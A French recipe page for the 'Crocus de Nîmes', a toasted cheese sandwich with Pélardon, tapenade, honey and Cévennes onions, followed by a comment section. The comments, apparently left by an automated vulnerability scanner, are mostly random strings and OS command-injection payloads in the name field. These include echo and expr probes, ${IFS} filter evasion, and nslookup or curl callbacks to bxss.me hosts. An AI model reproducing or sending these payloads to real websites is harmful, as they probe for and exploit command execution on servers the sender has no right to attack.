Catégorie : Plats
Le Crocus de Nîmes par Gilles Deschamps
Facile
Préparation : 10 minutes
Cuisson : 5 minutes
Voici une recette originale proposée par Gilles Deschamps : le Crocus de Nîmes. Il s’agit d'un met emblématique de par sa romanité, en effet, ses ingrédients existaient tous à l’époque gallo-romaine! Gilles Deschamps avait conçu cette recette avec Christophe Donnet (cité par Wikipedia, dans « Nîmes »).
Ingrédients
Ingrédients :
1/2 Pélardon, coupé horizontalement
2 tranches de pain complet ou de pain de mie
1 ou 2 cuillerées à café (selon les goûts) de tapenade verte (de préférence de Picholine)
quelques amandes effilées (peu, seulement pour la sensation de craquant)
des lamelles d’oignon doux des Cévennes (quantité : selon le goût du consommateur)
1 cuillerée à café de miel des Cévennes ou des Garrigues
une grosse pincée d’herbes de Provence, dont du thym
une petite pointe de safran
2 cuillerées à café d’huile d’olive de qualité supérieure
On peut y ajouter un peu d’oignon (doux ou fort) préalablement un peu roussi à la poêle.
Les étapes
Préparation
Sur la tranche inférieure du croque-monsieur :
Mettre l’huile l’olive, après y avoir intégré le safran, sur la surface du pain
Étaler la tapenade
Poser le Pélardon au centre
Mettre le miel sur le Pélardon
Répartir les oignons sur la surface de la tranche de pain
Rajouter les amandes
Saupoudrer d’herbes de Provence
Recouvrir avec la seconde tranche de pain
faire chauffer dans un appareil à croque-monsieur,
jusqu’à ce que le pain soit légèrement doré
Commentaires
- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:07
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:07
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:07
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:07
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:13
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
- F8K10ffZ
- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
- Q7QgTR53: WntRSkxs
- Mr. Commentaire par nhLYFuuy Posté le 08/05/2025 21:15
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- Mr. Commentaire par &echo ofbgnx$()\ tsltup\nz^xyu||a #' &echo ofbgnx$()\ tsltup\nz^xyu||a #|" &echo ofbgnx$()\ tsltup\nz^xyu||a # Posté le 08/05/2025 21:15
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- Mr. Commentaire par NBakdbUd: ilpEI9Es Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme&echo kgznek$()\ ofuimh\nz^xyu||a #' &echo kgznek$()\ ofuimh\nz^xyu||a #|" &echo kgznek$()\ ofuimh\nz^xyu||a # Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par |echo hhxvgt$()\ jcjxcz\nz^xyu||a #' |echo hhxvgt$()\ jcjxcz\nz^xyu||a #|" |echo hhxvgt$()\ jcjxcz\nz^xyu||a # Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme|echo sozido$()\ iellum\nz^xyu||a #' |echo sozido$()\ iellum\nz^xyu||a #|" |echo sozido$()\ iellum\nz^xyu||a # Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par expr 9000306692 - 933517 Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par (nslookup -q=cname hitznecotvbmm4a2db.bxss.me||curl hitznecotvbmm4a2db.bxss.me)) Posté le 08/05/2025 21:15
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- YGMO5An2 Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par $(nslookup -q=cname hitdhputahenzc377f.bxss.me||curl hitdhputahenzc377f.bxss.me) Posté le 08/05/2025 21:15
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- Mr. Commentaire par &nslookup -q=cname hitysdyoxsjvu07498.bxss.me&'\"`0&nslookup -q=cname hitysdyoxsjvu07498.bxss.me&`' Posté le 08/05/2025 21:15
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- UE1OZRUZ: ltQpiBjI Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par &(nslookup -q=cname hitfxkiminlufecc2f.bxss.me||curl hitfxkiminlufecc2f.bxss.me)&'\"`0&(nslookup -q=cname hitfxkiminlufecc2f.bxss.me||curl hitfxkiminlufecc2f.bxss.me)&`' Posté le 08/05/2025 21:15
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- Mr. Commentaire par |(nslookup -q=cname hitdivasvljapcd301.bxss.me||curl hitdivasvljapcd301.bxss.me) Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par `(nslookup -q=cname hitgjxzkxvxtyf6f00.bxss.me||curl hitgjxzkxvxtyf6f00.bxss.me)` Posté le 08/05/2025 21:15
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- Mr. Commentaire par ;(nslookup -q=cname hitmzclaemqqg195e7.bxss.me||curl hitmzclaemqqg195e7.bxss.me)|(nslookup -q=cname hitmzclaemqqg195e7.bxss.me||curl hitmzclaemqqg195e7.bxss.me)&(nslookup -q=cname hitmzclaemqqg195e7.bxss.me||curl hitmzclaemqqg195e7.bxss.me) Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par |(nslookup${IFS}-q${IFS}cname${IFS}hitrlyiejgwvjc50fb.bxss.me||curl${IFS}hitrlyiejgwvjc50fb.bxss.me) Posté le 08/05/2025 21:15
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- Mr. Commentaire par &(nslookup${IFS}-q${IFS}cname${IFS}hitzltlwxzzxc334d0.bxss.me||curl${IFS}hitzltlwxzzxc334d0.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitzltlwxzzxc334d0.bxss.me||curl${IFS}hitzltlwxzzxc334d0.bxss.me)&`' Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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- Mr. Commentaire par pHqghUme Posté le 08/05/2025 21:15
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